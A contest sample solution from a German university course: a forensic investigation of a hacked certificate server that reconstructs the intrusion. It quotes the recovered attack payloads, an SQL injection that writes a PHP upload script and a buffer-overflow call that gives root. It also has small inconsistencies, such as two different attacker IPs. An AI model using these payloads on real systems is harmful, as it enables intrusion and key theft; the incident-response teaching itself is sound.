Write-Up Registration Challenge Hacker Contest Summer 2024

In the summer semester of 2024, our "Hacker Contest" will be held again at Darmstadt University (TU) and Darmstadt University of Applied Sciences (h_da). In the popular course, students get real insights into IT security and gain hands-on experience with tools and methods to search for vulnerabilities in networks and systems within our PentestLab.

As every semester, prospective participants took on the Hacker Contest Challenge to qualify for participation.

If you are curious to know what a Hacker Contest Challenge looks like, or which aspects you might have missed this time: This is our sample solution for the summer semester Hacker Contest Challenge.

Table of Contents

• Scenario
• Challenge
• Disclaimer
• Vulnerabilities
• Attacker Actions and Attack Indications
  • Artifacts
  • Discovery
  • Route of attack
• Recommended hardening measures
• Result
• Bonus
  • CA operation
  • Software assessment
  • Configuration assessment

Scenario

A small company hired an external IT consultant to generate certificates for various services. As soon as he completed his tasks and left the building, the IDS used in the company shows an attack on the server set up for this task.

Concerned about the security of the created certificates, the company immediately requests a forensic investigation of the hard disk. The company wants to know whether an attack on their system has occurred and if so, which data were stolen. Any information that can be found about the attacker is also important.

The head of the technical department not only expects a final report on the data, but also wants a bullet point list with suggestions for hardening the server. Due to other projects, the technical department would like to continue using the server.

The server has the IP address 192.168.0.1. The username of the administrator is „root“. The IT expert has either worked on the computer directly or from the IP addresses 192.168.5.23 and 192.268.23.5. Furthermore, no one else should have had access to the computer. The administrator set up the computer in the morning, created the certificates, and left the building immediately afterwards. Shortly after, the IDS reported the attack.

Challenge

Your task is to execute a forensic investigation of the linked hard disk image. Your solution should contain an overview of the exact procedure of the attacker as well as advice for protecting the system. An overview of the tools used for solving the task should be included.

Disclaimer

The following sample solution is only one of many possible approaches. As always in IT security, there are multiple ways to tackle the problem. It is possible to draw different conclusions based on the data provided.

Vulnerabilities

Before starting the analysis, we first make note of the SHA256-Hash of the image for maintaining the chain of custody : 9ad970f9df238dc266f58f17689d4049ab40e5c10296a3ff0620ba95612f166c

For the creation of the sample solution, the tools TSK and Autopsy were used. First, Autopsy loads the image. As our task involves the certificates and especially the private key, the string “PRIVATE KEY” is included in the keyword list during import.

Autopsy finds the created certificates in the path /opt/CA. Noticeable is the file with the name peter@192.168.223.223, which cannot be assigned to the administrator. A search for 192.168.223.223 shows that attacks on the webserver were made from this IP address.

The following line in the file is particularly striking:

Sep 25 08:23:12 caserver auth.info sshd[3456]: Accepted publickey for root from 192.168.223.223 port 55317 ssh2: RSA SHA256:D891+2b+jUMEU6i7IA2Vd4YhgXM6p1boTIeTM/94dQI

It seems the attacker was able to store a public key on the server. Because this is only possible with root rights, the server has likely been completely compromised. Now the task is to find out how this happened.

It is also conspicuous that the attacker IP shows up in the shell history. Because the attacker connected with the root account via SSH, some entries were created here which give an indication of the commands executed.

According to the history, the attacker performed the following actions:
1. Copied all private keys to the host 192.168.223.223 with SCP
2. Created a folder .Qstorage _in /root_
a. Copied the files ls and ls.c from /var/www/localhost/htdocs/cache/ to the created folder
b. Replaced the /bin/ls files with the file copied in the previous step
3. Deleted multiple .php, .csv and .pub files from the folder /var/www/localhost/htdocs/cache
4. Deleted the files messages and mysql/query.log in /var/log by overwriting them with empty content

The following conclusions can be drawn from this:
• The attacker appears to have exploited a vulnerability in the browser, as files were stored in a folder with matching permissions
• The attacker installed his own version of ls on the system
• There seem to have been query logs from MySQL
• The attacker has covered his tracks

There are two possibilities to proceed from this point: following the track of the htdocs/cache folder or trying to recover the deleted MySQL logs. We are following the latter approach here. Therefore, the hard drive is scanned for SELECT statements. As Autopsy only finds initial fragments of files, the Linux command strings hdd.raw | grep "SELECT .* FROM" is used.

The following interesting fragments are discovered:

SELECT subject
FROM certs
WHERE cert_id='1'
OR 1=1 INTO OUTFILE /var/www/localhost/htdocs/cache/test.csv' -- ' LIMIT 1

This statement creates a file test.csv. The following lines are also informative:

1216 Query
    SELECT subject
        FROM certs
        WHERE cert_id='1';
    INSERT INTO certs
        VALUES(523,
        "<?php if(isset($_FILES['tfile'])){
            $file_name = $_FILES['tfile']['name'];
            $file_tmp =$_FILES['tfile']['tmp_name'];
            move_uploaded_file($file_tmp,$file_name);
            echo 'Success';
            } ?>
            <form action='' method='POST' enctype='multipart/form-data'>
            <input type='file' name='tfile' />
            <input type='submit'/> </form>"); -- ' LIMIT 1

1217 Query    SELECT subject FROM certs WHERE cert_id='523' LIMIT 1

1218 Query    SELECT subject
    FROM certs
    WHERE cert_id='523'
    INTO OUTFILE '/var/www/localhost/htdocs/upload.php' -- ' LIMIT 1

1219 Query    SELECT subject FROM certs WHERE cert_id='523' LIMIT 1

1220 Query    SELECT subject
    FROM certs
    WHERE cert_id='523'
    INTO OUTFILE '/var/www/localhost/htdocs/cache/upload.php' -- ' LIMIT 1

As can be seen here, an SQL injection vulnerability was exploited for creating a test file. Afterwards, PHP code to upload files was injected into the database. This was then written to the hard disk. In the access log of the webserver, we can see that a file named c99.php was uploaded with the help of upload.php. This is a known PHP reverse shell which can be used to execute commands on the system.

The webServerCtrl file also seems to be suspicious. Clearly recognizable is a long string passed as an argument to the file. Reviewing the deleted system log confirms this assumption:

Sep 25 08:15:34 caserver kern.alert kernel:
[ 5769.290362] grsec:  Segmentation fault occurred at (nil) in
/opt/webServerCtrl[webServerCtrl:3342]
uid/euid:0/0 gid/egid:81/81, parent /bin/busybox[sh:3341] uid/euid:81/81 gid/egid:81/81

The entry uid/euid: 0/0 sticks out. This application runs with root rights. An error in this is therefore critical.

Luckily, the source code of the application is also available in the file system, which enables us to comprehend the issue. The source code was compiled on a different machine. The access rights were set to 4755. The following call can be taken from the access log:

./webServerCtrl AAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBwhoami

When executing this in a shell, we receive the following output:

www-data@host:/$ whoami
www-data
www-data@host:/$ ./webServerCtrl AAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBwhoami
Defaulting to starting...
root

It therefore seems to be possible to obtain root rights using this script. We can also see the unsuccessful attempts to open a root shell via netcat in this way. As the spaces are interpreted as new parameters, this does not work. It is therefore unclear how exactly the exploit was used. It is likely that this was done via a shell opened with c99.

The question of what the attacker did after obtaining root rights remains. All events can be examined relative to the time of the upload of c99.php. The hints which results from the .ash_history are already listed above.

Attacker Actions and Attack Indications

Artifacts

• query.log: Evidence of the exploitation of an SQL injection that was used to load malicious code onto the system
• .ash_history: Reconstruct the behaviour of the attacker. Deletion of traces and creation of a backdoor
• authorized_keys: Evidence of root account takeover via SSH
• .Qstorage: Folder used by the attacker to create and store the evasion
• ls and ls.c: Cover-up of the SSH key, which replaces a known binary. A basic understanding of the differences to the original ls and the new function should be explained here.
• webserverCtrl: Vulnerable application which enables privilege escalation
• Apache access and error logs: Provide clues about the attacker's actions and traces for further artifacts
• Syslog: Leads to the track of the vulnerable webserverCtrl application
• PHP script, c99 / upload: The PHP scripts used to upload and execute shells

Discovery

The access and error logs contain references to automated testing of the website. Therefore, we can determine that tools such as nikto and sqlmap were used. The header of the respective tools can be found in the logs.

Route of attack

Correlating the indicators described above to their corresponding timestamps, we can outline the route of attack as follows:

1. SQL injection
2. upload.php
3. c99.php
4. shell
5. buffer overflow in the webserverCtrl application
6. SSH key
7. root compromised
8. folder created
9. backdoor cover-up placed
10. keys extracted
11. traces covered

Recommended hardening measures

• MySQL user: use a strong password
• SSH root login: „least privilege“ principle, root probably does not require an SSH login
• MySQL authorization: also configure by the „least privilege“ principle
• PHP: Prevent SQL injections using prepared statements

Result

Even if the attempt to download the certificates has probably failed due to the incorrect IP, they should be treated as completely compromised and therefore no longer used.

A backdoor has already been found in the system. This means that the system should no longer be used. It is recommended to set up the system from scratch.

Various details about the attacker have already been provided in the previous paragraphs. However, the IP address 192.168.233.233 also suggests that the attacker may have already compromised other systems in the network.

Bonus

CA operation:

Only necessary services should run on a CA server in order to keep the attack surface as small as possible. Furthermore, the CA's private key should not be placed on a machine located in the network.

Software assessment:

The consultant's custom written software has several serious defects and should not be operated on a system-critical machine under any circumstances.

Configuration assessment:

The configuration of the machine has serious flaws and does not follow the usual conventions for critical infrastructure, such as the “least privilege” principle.